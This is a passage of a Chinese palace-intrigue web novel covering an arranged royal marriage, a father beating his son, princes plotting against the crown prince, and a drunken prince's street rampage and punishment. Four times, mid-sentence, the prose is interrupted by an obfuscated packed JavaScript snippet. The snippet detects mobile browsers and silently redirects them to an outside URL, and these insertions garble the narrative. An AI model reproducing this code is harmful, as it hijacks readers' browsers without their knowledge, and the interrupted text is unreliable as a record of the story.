游园会上发生的事情很快就传遍了,皇宫里也知晓了。次日,百里漾入宫往椒房殿向崔皇后请安时,崔皇后却提起了另一件事,“那颜家七娘你见过了,可喜欢?” 面对崔皇后如此直白的询问,百里漾颇觉别扭,目光也闪烁了一下,但也很快正色回道:“颜家七娘子很好,儿没有不满意的。” 不知为什么,他不想用当下那些诸如“贤淑端庄”的词汇来夸人,也觉得颜家七娘无处不好,不管是品貌还是其余需要考量的方面。他的婚事,总归不会纯粹的,这点他心知肚明,只是免不了惆怅罢了。 百里漾努力不表现出异样,可母子连心,即便他数年不在身边,崔皇后亦是察觉到了幼子的那一分怅然,心软道:“五郎心中不喜这婚事么?” “并非不喜。”百里漾不想令崔皇后难过,这世上没有如崔皇后更疼爱他的了,他也知道这婚事其实是阿娘为他努力争取来的,怎可令她伤心。他默了一下,选择坦言道:“儿只是不知道能不能承担起作为丈夫的责任,心中还未做好准备罢了。” 幼子的发言令崔皇后甚是惊讶,脱口问道:“你怎么会这般想?” 百里漾总不能同崔皇后说您儿子前世其实是女人来着,不预今世投生到了这么个时代地界里,物伤其类,对这里的女子起了可怜可惜之心,也更不能说自个心里根本没想清楚喜男还是喜女,害怕令人受了委屈、害了人家一生吧。 “阿娘常说,世道艰难,女子处世不易,儿有感于心。如今亲事在即,心中难免惶惑。”思来想去,百里漾便如此说道。 这话说得真心不真心,以崔皇后的眼力如何能看不出来。幼子能这般想,她心下很是欣慰,仍记得宽慰幼子,“你有这份心就已经是好的,不怕将来姻缘不美满。” 崔皇后选定国公家的女儿做儿媳妇也是经过了再三斟酌的。如今椒房与东宫的情形大家都有目共睹,于幼子的婚事上便要慎重。虽然是政治联姻,朝堂权势方面的考量更多,但崔皇后也不愿意委屈了幼子,挑的都是好姑娘,颜家的姑娘样样都好,与幼子最是相配。她亦相信,幼子会喜欢颜家姑娘的。 年少方知慕艾,年轻人多处处,感情不就出来了么。 母子俩说了一会儿话,稍后掌宫令带人传上早膳。正巧皇帝过来,见幼子在十分高兴,一家三口便在一处用膳了。 这边和乐融融,那边顾晟开在家中却不好受。 游园会的次日一早,顾家的老爷便回来了。以往时常见不到的人,这次破天荒出现在了家中,却是怒气腾腾地冲进来,提着棍棒对着儿子就是一顿打。平日里养尊处优以至中年发福的富态男人发起狠来也能把年轻健壮的儿子打得口吐鲜血。 父教子是天经地义,反抗则为不孝。 顾晟开只忍住,忍得双手攥拳爆出青筋,眼里却是一片幽深的暗沉,充满了怨恨。 “老爷,你干什么!你要把儿子活活打死不成?”前头的动静还是惊动了后院里的顾夫人,匆匆赶来却见到儿子被打的惨状,顿时眼泪就下来了,忙亲身扑上去阻拦。 顾老爷见状也不敢再打了,气呼呼地丢开棍棒,指着顾晟开的鼻子大骂道:“江都王是何等尊贵的身份,由得你去试人家的能耐?偏你还是自作主张,若非定国公府那边看在与你母亲的情分上默认下了此事,否则你把自己搭进去还不算,还要连累顾家乃至整个顾氏。” “老爷,怎会如此?明明嫂子都说了……”顾夫人惊呼,满眼的不敢相信。 顾老爷看着徐娘半老的妻子,心里颇有几分懊悔和腻味。人都是喜新厌旧的,他当年喜欢颜氏的好颜色,即便人不那么聪明也能忍受。如今十几二十年过去了,再好看的皮囊也会看腻味,何况颜氏容颜已打了折扣,长处不在,短处就越发明显了。 他有时候时常在想,定国公那样英武强干的人,怎么会有颜氏这样的愚钝不堪的妹妹,这一母同胞的差距也太大了。还有这个儿子,以前他还觉得这是个好的,但没有想到这儿子的心也大了,竟做起了这等蠢事。 “那是定国公夫人好性,没同你们母子俩多做计较。” 顾老爷更加的不耐烦,又想着顾氏如今的光景不好,眼看着好不容易有了点起色,差点又要被这个逆子给拖累了,咬着牙指着顾晟开低声骂道,“逆子,你打量被人不知道你存着什么心思么?我告诉你,那就不是你能妄想的。定国公府从来就没存过这念头,否则也不会十年八年的只叫你们做表兄妹相处。她是做定了天家人,由得你在这里自作多情。” 一通打骂后将将把气顺了下去,顾老爷看着这母子俩冷哼一声,又离府了。 “晟儿,你当真是喜欢……”顾夫人犹在震惊之中,一股脑的信息还没完全消化,脑子里尚是乱的,好一会儿才愣愣说道,“你若早早同娘说了你有那心思,何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14736845|157352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 至于今日。” 以她的想法,若是顾晟开早说了喜欢表妹颜漪,她早就叫媒人去定国公府提亲了。兄嫂向来喜欢外甥,两个小的又是自小一块长大的,自有情谊,这又是亲上加亲,兄嫂必定会欣然应允的。何至于等到如今,圣旨赐婚,侄女指定了要配江都王为妃,断无更改的可能了。 顾晟开忍着痛不说话,顾夫人忙叫人请大夫来,被他拒绝了,“不过是皮肉伤,父亲下手又能有多厉害,擦过药我还要去南衙当值,阿娘不必担忧。” 顾夫人哪里肯答应,但拗不过儿子,只得叫人拿药来擦,边心疼地落泪。顾晟开满腔的怨愤只得先咽了下去,转头安慰性子柔弱的母亲。 望着着这空华丽而茫荡的府邸,耳边是母亲顾夫人的啜泣哭声,顾晟开麻木地安抚着,目中却尽是一派冰冷的木然。 游园会上发生的事情也传到了定安王百里洪耳中。他正往嘴边送的茶停在了半当,似有不信惊疑,“百里漾当真箭术了得?” “是。”其实哪里需要多问这一句,越国长公主的游园会满京城的权贵几乎去了一半,多的是眼睛看着江都王与顾晟开比试射箭,这事怎么会有假。 定安王拧紧了眉,端着茶好半晌才凑到嘴边一气喝了,而后哼笑道:“是了,五年过去,他也该长进了,如今都要娶亲了。” 百里洪时年二十,他素来是习武强过学文,故也生得英武高大,而他也向来自诩在一众兄弟中武艺最为高强,连皇父都夸过他勇武过人,他心中更是自得自傲。如今冒出来一个百里漾都被人夸射艺精湛,看着本事不小,偏生又是他忌惮恼恨的椒房一脉所出,他不由得更警醒了些。 太子始终病歪歪的,百里洪只盼着他早死,他不死,一直占着东宫的位子,碍于皇父的威严,百里洪不敢太多施为,只能老老实实做着一地诸侯王,实在憋屈。 满肚子的牢骚与不甘怨愤,百里洪轻易不敢朝外人吐露,好在周围都是心腹可信之人,他才多说了些。 “与百里漾比箭的是何人?”百里洪忽然又问了一句。 百步射靶,他手底下都没有这样厉害的能人。 “顾氏主支三房顾允硕的嫡长子顾晟开,其母是定国公颜定山胞妹,如今在南衙任职,为五品校尉。”王国相答道。 他早去收集了那日游园会上重要人物的信息,备的就是百里洪会问到。 “定国公的外甥?”百里洪皱眉。 他不提顾氏是因为顾氏已经式微了,几乎无人在朝为官了,虽有族人在地方上任职,不过都是些低品小官罢了,自然不值一提,也不会让他看在眼里。 王国相:“是,当初颜顾两家结亲时,亦是震惊了许多人。这些年来,顾氏也是靠着定国公府过来的。” 说到底那也是将近二十年前的事情了,隔的时日太过久远,许多事情就没有那么好查探清楚了。不过因为这桩婚事两家实在悬殊,故而至今叫人看来总透出那么一丝怪异来。 24. 第 24 章 那时正是泰始年间,高/皇帝建元没几年,新朝初立,有功之人皆有获封。颜定山此前在太子百里纵(如今的皇帝)麾下立下了大把的功劳,直接爵封超品侯,端是显赫。相反顾氏就落魄多了,族人仕前朝者大多在乱战中被杀,顾氏祖籍地也曾被乱兵抢戮,加之新朝初立时眼色和觉悟不够,又被高/皇帝下手收拾了一回,已然元气大伤。那时的顾氏不过是空有世家望族之名,实则端是落魄。 偏偏这时突然传来颜家要与顾氏子结亲,许嫁的还是颜定山这位赫赫显贵的功臣胞妹,怎么看都是“门不当户不对”。况且那时高/皇帝力图打击世族,偏两家又结亲,着实令人难以理解。 百里洪略想片刻便抛开了。王国相明白主上的心思,大王是想拉拢朝中大臣,收拢一波能为他所用的人才。只是这个顾晟开身上到底贴了定国公府的标签…… “不说这个,东宫那边探查的如何了?”百里洪沉声问道,眼里波光幽沉。当下要紧的还是东宫那边,太子若是活着登基了,那么他做的一切还有什么意义。 “还是不行?”王国相的神色俨然回答了他的问题。 王国相也不由叹气,东宫守得如同铁桶一般,后宫椒房仍在,执掌凤印,纵使大王之母周贵妃在后宫颇有势力也难以施为。他们此前拘于封国之中,如今大王几年了方才得回京城一趟,若想施为,哪有那般容易的。 “罢了。”百里洪揉了揉两侧穴窍,颇是心烦意乱。今日他去与人赴宴,为显示良好的形象与风范,拉拢官员,席间不免多饮了酒,这时发作起来,头昏脑胀的。 王国相见状劝了一句“大王务必保重身体”便退下了。他离开后,百里洪端坐着等下人熬醒酒汤呈上来,免不了想起今日宴中一些人的对他的轻忽,重重一拳擂在桌面上,吓得一众仆婢纷纷跪地。 百里洪的脸上满是阴鸷,总有一日他要让那些没有眼见、不识真龙的蠢货知道“后悔莫及”是怎么写出来的。 岁贡在即,各地诸侯王俱皆提前入京朝拜天子。有些封地路途遥远的,少不得要在路上多花费功夫,但总有抵达的一日。 至五月中旬前,大衍所有的诸侯王都抵达了湛京。其中距离最远的当属淄川国与长夏国,但淄川王百里横在五月初七抵达,长夏王百里涌也在五月上旬末抵达了京城。 至此,大衍如今总共五位诸侯王皆齐聚在京城了。 连着迎接了五位诸侯王,不是皇帝的亲儿子就是亲兄弟,一个个都有权有势坐拥一国,鸿胪寺的官员们不敢有丝毫轻慢。既如此,那么一丝一毫之处都要做好了,这持续了快两个月的连轴转可把他们累得够呛的。可后面还有岁贡的大事,虽然主力不是他们了,但他们也得搭把手,好在可以趁着这小段时间歇一歇,争取能养回些精神来应对后面的事。 与前头的哥哥弟弟/侄子一般,后面进京的山阳王、长夏王以及淄川王仆一入湛京,头件事便是沐浴焚香进宫拜见皇帝去了。 皇帝儿子不算多,兄弟更是唯有一个,数年不见,乍见之下必然感慨良多,有不少话要说,叙一叙父子亲情或手足之情。在这一点上,儿子辈的待遇差不多,父子叙话后该去看望生母的就去看望生母,否则就出宫回府。淄川王是皇帝亲弟弟,还是一母同胞的那种,一起经历过前朝哀帝末年的那段艰难岁月,感情自是深厚。两人不觉间聊到深夜,见天色已晚,皇帝便让他留宿在自己宫中了,兄弟俩还是抵足而眠。 之后便是拜见椒房与东宫。崔皇后是嫡母/长嫂,更是一国之母,按礼他们也都去拜见了。东宫病弱,做弟弟的不敢多做缠扰,也没有那么多的感情基础,依例送去了厚礼,许多名贵药材夹杂在其中,在礼单上也尽量做到了不显眼。 太子可以不与这些弟弟们多做表面功夫的耗费时间,但淄川王是皇叔,是长辈,往日待他也多有关切,不好拒之门外。 “你这身子怎还是这般弱?说不得是太医署的那帮太医没本事,庸医误人。”淄川王说话直白且无甚顾忌,横眉冷脸的,配着几乎占据了下半张脸的整一圈浓密的虬髯,面相颇是凶厉可怕。至少小阿荧看着这位皇叔祖就有点怕怕的,小身子躲在父亲身后只露出个小脑袋偷偷看他。 太子摸了摸阿荧头上细密的额发,笑中带着些苦涩,“多谢皇叔关心,太医们已然尽力,许是天命不可违罢。” “怎的如此悲观?”淄川王满满的不赞同,“你是我们百里家的嫡长孙,将来更是要肩负天下大任的,自当提气振作。身子慢慢养总会好的,太医署的太医不中用,天下之大必有能医,待二叔为你去寻访来必能使你身体康健。” “谢二叔为我劳心。”他真心诚意,太子便谢道。 这个话题因其过于敏感其实不太好当面说太多的,淄川王因为是皇叔且皇位于他已经有些遥远了,他才能说出这么一番话而不至于令人多想。 话题需要转移,淄川王转眼便看向了躲在太子身后的小家伙,乐道:“这是阿荧罢,快过来给叔爷爷看看。” 阿荧对着这位热情过头的皇叔祖难免有些心怯,不过天家的教养让她稳住了,听从父亲的话出来与淄川王见礼,软软糯糯道:“阿荧拜见皇叔祖。” 淄川王比皇帝小六岁,现年也有四十了,早在几年前就做了祖父,最小的孙子跟阿荧一般大。如今一见小阿荧着实可爱,笑眯眯地将阿荧抱起放在膝盖上相当有耐心地哄着。 他从袖口里摸出了一枚玉蝉,一寸长短,质地莹润,雕工精细,送给阿荧玩的。小孩子还是很好哄的,阿荧虽小却能明确感知对方是否是善意,又有太子的默许,久了也没这么害怕这位一脸凶相的皇叔祖了。 东宫病弱,淄川王也不好久留,小坐片刻便离开了。太子牵着阿荧的小手,站在殿门前目送淄川王离开,眼里光波微转,却是一片沉色。 “阿爹。” “嗯?”耳边传来女儿软软的唤声,太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14736846|157352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子低头看去,阿荧软胖的小手正抓着那枚玉蝉把玩。他笑了笑,摸摸女儿的头,牵着她转身回了殿内。 诸侯王回京,皇帝的兄弟儿子们一下子都聚齐了,想到这几年骨肉分散,皇帝决意在宫中举行一次盛大的家宴。天家骨肉凡在京者皆来赴宴,时间便定在后日。 “老四与老六也回京了,这月余怕是有的热闹了。”江都王宅后院的花园里,百里澄纤长莹白的指间把玩着一条金镶玉结的朱红剑穗,口中说道。 旁边的石桌上还摆着一柄长剑,配饰以金,剑格以紫铜,周身配以兽纹,见之不凡。这是百里漾在江都时以重金求来的宝剑,出自大家之手,真正的削铁如泥。如今被百里漾拿来赠送给长姐。百里澄见之十分喜欢,当下拔剑,拿一块山石试了剑,一剑劈下,山石两分,断口处光滑平整,剑身却丝毫无损。 “五年未见,也不知道四兄与六弟是否变了模样?”百里漾想着不久前长夏王与山阳王赴京时的情形,看着荷塘里冒出尖尖角的绿荷,不由低声道。 皇帝第四子百里涌,兴业七年封长夏王,封国在靠近大衍东北一带,距离湛京路途颇为遥远。他的生母不显,只是后宫中的一位嫔御,在生育皇子之前更不起眼,几乎没有人想得起她,去年更是病逝了。而第六子百里汤,生母郑妃,兴业十年封山阳王,封国则还要更远一些。 虽说是同父异母的兄弟,可自小百里漾与他们并不是十分亲近,后来一个接一个地封王就国,往来更是稀疏,人情交际也很表面。百里漾不熟知他们内里的变化,不知他们是否变得如同定安王百里洪一般,一样的志向远大。 “老四在封国很不像样子,整日以饮酒取乐,经常喝得醉醺醺的,大半夜不睡觉跑到旷处脱衣服拔足狂奔。封国的事务大多时候也是不搭理的,甚至任由爱妾父兄把持,整出了一堆的乱摊子。”百里澄手指轻轻捏住了一白玉瓷海棠杯,轻飘飘说完后轻抿了一口。 在百里漾有些瞠目之下,她又说道:“老六倒是没什么特别的爱好,喜好诗书,无事时便跑到学馆听人讲课,封国之内也颇为正常。” 百里漾微囧,好在他这些兄弟也不完全是什么过于奇葩的存在。不过酒后果奔什么的,那个画面想都不敢想啊。不过,他也反应过来了,长姐看似轻描淡写的话,实则却是透露了,那几个兄弟们这几年的动向,湛京,至少东宫这边是在一直监视探听着的。只从目前看来,长夏王与山阳王那边没什么情况,就老三上蹿下跳的不太安分。 “但他们怎么想、怎么做的不重要。”百里澄忽然拔剑出鞘,雪亮的剑身映出了她眉眼含锋,只听她语意深重说道,“最要紧的是阿爹怎么想、怎么做的。其余人一旦有苗头,就要手快刀疾,将苗头彻底斩断。” 话落,那柄剑在她手中旋转出漂亮却肃杀的剑花,雪亮的剑身在空中划起漂亮的弧度,随后,立斩而下。“咔嚓”的声音又细又快,近前的一张圆木凳瞬间一分为二。 25. 第 25 章 百里漾眨了眨眼睛,凝重的神情有些滞缓,眼睛再次瞪大了些,这圆木凳在继山石之后成为了长姐剑下的第二个亡魂。造成的结果就是,他后院的假山秃了一块,这一组的凳子也少了一张。 前脚才与长姐提到了长夏王和山阳王,当日午后百里漾便碰上了其中一位——长夏王百里涌。这厮大白日在大街上纵马,一路掀翻东西无数,惊得路人惊慌不已,东躲西藏,唯恐被殃及。看到百姓如此慌乱失措,马上之人速度根本不减,一路驰骋过去,却在街头拐角处差点撞上一辆正驶来的齐头二驾的平顶马车。 人家本来走的好好的,拐个弯就遭遇了这般骇人又突如其来的惊险事。真的是好险就撞上了,但马却是受了惊。幸好车夫训练有素,临危不乱,勉力压制住了受惊的马,才避免了更糟糕的情况出现,但马车内的人也受了好一阵颠簸。 马声嘶鸣,长夏王用力拉紧缰绳勒马,马蹄高高扬起。周围因这变故一阵兵荒马乱,大人慌叫,小儿啼哭。眼看着如此乱糟糟的景象,长夏王端坐高头大马上,丝毫不慌反而哈哈大笑起来。 嚣张,真的是太嚣张了。 天子脚下,虽也偶有纨绔子弟如此放肆行事的,但还没有见过这样嚣张放肆的。自有人看不惯,哪怕见此人锦衣华服,必定出身不凡,也上前厉声质问了。 “王法?天家都是我家的,你也配来与我提王法。”长夏王似是嚣张妄为惯了,懒懒地掀开眼皮,如俯视臭虫蝼蚁,见人还不依不饶,竟从马背囊中抽出一柄剑,对着人的脑袋重重击打过去。 那位义士没想到这纨绔子弟不仅行恶还要行凶,躲闪不及眼看着就要脑袋开花。忽然耳边传来一阵由远及近的急促马蹄声,而后便头顶上便传来一声“铿锵”有力的碰撞声。 预想中的疼痛并没有出现,义士倏然睁大了眼睛。只见在他的脑袋上方两柄剑交击相持,下方的剑稳稳架着上面的凶剑,也是这样才让他避免了头破血流的惨剧。 有人及时出手救了他。 “四哥,你要做什么?”百里漾冷眼看着长夏王,发现这厮的状态不太对。面有酡红,醉眼惺忪,发髻歪斜,衣冠都有些不整,散开的领口让里面的肌肤都露出来了些,离得近了还能闻到一些发散后的酒气。 这厮竟然是酒后纵马! 百里漾想到了之前长姐同他说的关于百里涌酒后放诞的一些事情,没想到百里涌竟能胡为至此,实在可恶。 长夏王打人被阻拦,跟随的扈从这时才自家大急匆匆追上来,见王被人冒犯,忠心护主的急急就要上前呵斥,却在听得来人唤他们大王时“四哥”镇住了,又观此人衣着不凡,要紧的是宝剑乃至马具上还皆饰金,心中顿时有了猜测,于是便不敢动了。 “唔?”长夏王本来恼怒,听到这么一声,这才抬起醉眼仔细辨认来人,面相颇是熟悉,但他自认是没有见过的,想起自己如今身在湛京,脑子顿时清楚了,稍稍犹疑后恍然大悟道,“你是五弟?这许多年未见,你这模样变得我都有些认不出来了。” “误会误会。”长夏王似乎酒醒了,收回击打人的剑,扔给旁边的扈从。再看周边乱糟糟的,拍着脑门神色颇为懊恼,“为兄一时轻狂,让五弟见笑了。”说罢转头又吩咐扈从收拾场面。而这些扈从的做法也很简单粗暴,直接洒下一把银钱当作了结。 看他这副轻描淡写甚至浑不在意的模样以及扈从洒钱的熟练和高傲,百里漾心中厌恶,面上却未曾表露,只皱眉道:“街市纵马本就不该。四哥身为陛下之子,又为封国之主,理当作一表率。” 长夏王不悦,竖眉冷脸道:“几年不见,五弟真是长进了,竟然为了一些贱民教训起兄长来了。” “四哥有错,我又如何说不得。”百里漾亦冷下脸,他可不会惧了百里涌。 “老五,你今日是非要同我过不去了?”大庭广众之下,被一堆人看着,百里漾又非要不依不饶。长夏王气得脸红脖子粗,酒气一股脑涌到脑子里,怒火更盛,食指一伸直挺挺地指着百里漾大骂,“你是什么东西?不过是侥幸从椒房肚子里头爬出来,神气什么,本王倒是要看看你能神气多久。” “大王!”长夏王突然指着百里漾一顿开骂,话里还很不客气地言及椒房国母,多有不敬,骇得扈从脸色大变,急忙呼喊,恨不得亲身上去捂住长夏王的嘴巴,根本来不及。 百里漾大怒,抓了剑横劈过去狠狠一击直将马背上的长夏王拍下来往地上滚。扈从都要吓死了,忙飞扑过去以身作垫护主。 长夏王只觉后背一痛瞬间就天旋地转了,先是重重砸在扈从做的肉垫上,又往前滚落在地,顿时一阵眼冒金星。 “你家大王酒后失仪,当街纵马,大庭广众之下被人看着,着实不像样子。”百里漾骑在马上,眸光冰冷,“还不速速带他回去。” 扈从慑于百里漾的威势,不敢多言,连忙去扶长夏王起身要带他离开这里。长夏王这时摔得又有些清醒了,可他这些年哪里受过这样的气,尤不服气,更觉得面子扫地,要挣脱扈从冲上来,却被用力拉住了。 扈从都快哭了,极力劝他,“大王,大王,这是在湛京,是天子脚下。”不是在咱们长夏国啊。 长夏王的理智被“天子”两个字震到总算回到了正轨,见百里漾“杀气腾腾”,想起了自己之前做了什么蠢事,又说了什么蠢话,心里也很慌,干脆头一歪装晕,被扈从拖扶着带离了此地。 祸乱的源头走了,丢下剩下一地的狼藉。百里漾翻身下马,跟从的护卫已自发地帮助周围无辜受难的人们,有伤的安排去看大夫,财物受损的给予银钱赔偿。 “学生谢大人救命之恩。”有人行至百里漾跟前一丈,作揖答谢道。正是此前那位挺身而出阻拦长夏王却差点被用剑击打头部的义士。 “足下胆魄过人,敢问姓名?”百里漾觉得此人实在勇气可嘉,明知长夏王身份不凡也敢站出来阻止其作恶,尤其还是在长夏王酒后不甚清醒的状态。那一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14736847|157352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下若真的击中了,少说也是一个头破血流。 “学生闻夏,目下忝为太学生。”自称“闻夏”的书生身形消瘦,相貌清俊,长衫白袍,甚是朴素,看着气质却十分干净清爽,令人觉得很舒服。 “原来是太学生。”百里漾稍有些意外他的身份,也不怪他想不到。 高/皇帝泰始年间始立太学,但能进入的人大多是高门贵胄之后,寒门学子能进入的都极少,余下的更不必说。他看闻夏年纪不过二十,这般年纪能入太学,学识必然了得,怕是妥妥的学霸级人物。百里漾不由得更对闻夏另眼相看了。 在他们说话的功夫,北司的人来了。此处发生了乱事,自是惊动了人来。来的只是二十人的卫队,领头的是一校尉。这事自然用不着百里漾出面,自有下面的人去周旋。 “此事已了,余下的便不干足下之事了。”百里漾说道。他是要将闻夏从中摘出去,最大程度地减轻闻夏在其中的存在感。 长夏王酒后纵马,在一些人中其实算不得什么大事,这一点长夏王自己也知道,所以行事,便没太多的顾忌。但现在因为百里漾的出手干预,事情便有些闹大了。长夏王事后若想起来这么个人来,迁怒于他,吃亏的也只会是闻夏。毕竟一个没什么倚仗的太学生,在这偌大的湛京里还真不算什么。 闻夏也知道这个道理,再次谢过后便离开了这里。 “姑娘,前面道路疏通开了,可要离开?”不远处的二驾马车上,车夫低声询问道。 “走吧,别让母亲等急了。”车帘子放下,接着传出一道清丽婉转的女声。 车夫甩动套马的缰绳,马车启动继续行进。朴实无华的马车低调且不起眼,只有其上刻着的“颜”字标记昭示了它的所属——定国公府。方才长夏王差点撞上的就是这辆马车。 有诸侯王在此,北司的动作利落了很多。他们也不敢多问,只负责眼前将街道恢复秩序,其余的不是他们能够管的。这种事情不是他们能够掺和进去的。 这条街在湛京中尚算繁华,第二日便有御史弹劾,参“长夏王百里涌醉酒纵马,伤扰无辜,言行无状,冲撞尊长,请陛下惩之”。不仅如此,长夏王此前在封国早有此劣迹,御史也曾就此多次弹劾,百里涌因此也受过皇帝下诏申饬。这些事现在又重新被提了出来,皇帝的脸色很不好看。 下了朝后,皇帝令人传诏长夏王入宫。据说长夏王出宫时,面色惨白,甚至有些魂不守舍。随后皇帝的惩处也下来了,削去了长夏国一个郡的封地。 这个惩罚不可谓不大,长夏国本来只有四郡,四去其一,偏偏去的那个还是顶富庶的一个,长夏王的心痛可想而知。但目前他还顾不及心痛他封地的缩减,他需要表态,甚至还要做出一些努力挽回皇帝对他败坏了的印象。 长夏王手底下还是有几个得力的谋臣的,他们对长夏王建言道:“陛下多半恼怒的是大王对皇后不敬,加上大王此次行事确实失当,惩处便严厉了许多。” 26. 第 26 章 对于长夏王被削减一郡封地的事情,他们也着实心痛,这不仅仅是长夏王的利益受损,他们这些效忠于王的人又何尝不是。少了一个郡,便少了一个郡的赋税,他们以及他们的家族在那个郡的利益都要受损。 这会儿长夏王极是后悔自己酒后放诞胡为,忘了自己是身在湛京了,一边又忍不住怨百里漾冲出来多管闲事。百里漾不出来拦他,也不会有他后面口出狂言。但事已至此,他对百里漾做不得什么,只能迁怒于那些扈从不能及时劝阻他,通通杖责处置了。 听着臣下们委婉地责怪,长夏王心里很有气,但他没有对着他们发作出来,而是心烦意乱地问道:“此事可有挽回的余地?如有,本王该如何行事?” 谋臣们面面相觑了片刻,随即给出了建议,大体的意思是:大王您做错了事,惹了陛下生气,唯一的补救方式就是好好惭悔改过,让陛下看到您的真诚与决心。最好再去皇后和江都王那里认个错,态度一定要诚恳,痛哭流涕效果最佳,如果还能配合表演个母慈子孝、兄友弟恭什么的就更好了。 长夏王听后整张脸都是黑的,但最后也不得不这么采纳了这个建议。 “老四来过了。”百里澄过来江都王宅时,正好看见长夏王的车驾离开不用想也知道他是来做什么的。 “来过了,为了那日在大街上的事。”百里漾也觉得头疼,方才应付长夏王实在耗费心神,明知对方虚情假意,还不得不同他做戏。 “哼,你下手还是轻了。”百里澄冷艳的眼眸一片冰冷,“若是我,能从那将他踢到皇城正门下,便是陛下也没有话说。” 这一点百里漾信,以长姐的行事风格确实是能做出来的。 “关于这件事,五郎你有什么想说的?”百里澄忽然问道。她看着已经长成大人模样的幼弟,心中其实很有些感慨,只是面上不显,一双眼眸也只把百里漾定定注视着。 百里漾有些愣,但想到长姐可能是在考校他,思索一番后说道:“阿爹还是很疼我们的。”百里涌会被罚的这么重,主要是因为他对椒房所出的兄弟口出狂言甚至对皇后不敬,但更重要的是皇帝估计是想要借着这件事杀鸡儆猴。 东宫病弱不是一天两天了,膝下也无子,这般情况下,加上某些人有意挑动,表面风平浪静实则底下人心浮动得厉害,有些人更是在暗地里偷偷站队了。这样的情况,皇帝不会不知道。正因为他知道,所以他要借着这件事将那些浮动的人心按下去,以此向世人宣示他的心意一直没有变,椒房与东宫的地位依旧稳固。 这至少证明,皇帝还是偏爱他们的。 “这一点是没有错的。”百里澄略略颔首,又问道,“对于老四,你怎么看?” 她说的“看”自然不是单纯表面上的意思,而是要警视、探查百里涌有没有别的心思,比如他也想当太子之类的。这是没有办法的事情,权力的斗争都是残酷的。他们生在帝王家,有些东西注定是不能让的。尤其是她们兄姊弟三个,一旦上位的人不是他们,下场绝对凄惨。 让了,输了,他们就死了。 “只目前来看,四哥行事多放诞,只图一时痛快,还好贪图享乐,对于长夏国诸多要务皆委任宠臣,对他们也都多有放任。” 长夏国里传出来的事迹加上这次的事情,可以看出百里涌为人贪图享乐且不务正业,偏听偏信,喜欢凭自己的喜好做事。这般德性的人,做臣下的看不出他哪里有英明之主的气象,做父亲的如皇帝是不会喜欢挑选这样无德无行的儿子做自己的继承人的。 百里漾今世做了天家皇帝的儿子,自幼生长的环境让他学会了对那些同父异母的兄弟们始终抱着警惕之心,更要时刻审视那些兄弟们的举动之下是否藏着别样的心思。他怕他们想争,更要防着他们争。这一点,他们兄姊弟三人都是一样的。 “你能想到这些很好。”百里澄还是很欣然于幼弟的成长的,但只是这样的想法却是不足够的,“但表象是可以装出来的,人前装得人模人样,人后狼心狗肺的也大有人在。未到尘埃落定的一刻,谁也说不准了。” 这话说的,毫无疑问,百里澄是在影射定安王。在百里洪十二岁以前,这货也是安安分分的从不搞什么幺蛾子出来,去了封国之后,人就变了,力图给自己塑造贤德有作为的英明气象,一面还时不时采用亲情攻势猛烈向皇帝进攻。其心昭昭,都快赶上司马昭了。 所以对这些兄弟,任何时刻都不能放松警惕。 “是,阿姐,五郎受教了。”百里漾对此深以为然,对待那些天然存在威胁的兄弟们,就得戴上有色眼镜去看。 严肃郑重的话题说完,百里澄可不想把气氛搞得太沉闷,她忽的又说起了长夏王酒后在大街上纵马的事情,问百里漾,“你那日就没遇到点什么特别的人呢?” 特别的人? 百里漾仔细回想了下,其余的也没有什么特殊的,除了一个叫闻夏的太学生。后来他出于好奇令人去查了一下,太学中确有其人,年十九,贫寒子弟出身,勤学刻苦,次次考核的成绩皆为甲上,只需再经最后的结业考便可以从太学结业然后授官了。 “此人倒不失为一个可造之材,操作好了说不定可为我们所用。”百里澄颔首道。她看着毫无所觉的幼弟,颇为无奈,“除此之外,没有别人了么?” “还有谁?”百里漾开始反省自己是不是漏掉了什么关键的人物。 看着幼弟这眼窍不开、心窍也不开的样子,百里澄不禁开始反省是不是对幼弟的教导过于严防死守了,别的诸侯王在他这个年纪孩子至少都有一个了,像是老四百里涌,他十五岁时侍妾的肚子都老大了。再看她这个幼弟,一直以来都规规矩矩的,身边一个侍妾也无,更无半点花花肠子。同他一起的崔栋都知道去花楼里包行首了。 “你是不是忘记自己有一个未婚妻了?”百里澄也不兜圈子了,她怕自己再兜圈子只会把百里漾绕进去再也出不来。 未婚妻? 百里漾一愣,随即反应过来了,“阿姐你是说颜姑娘当时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 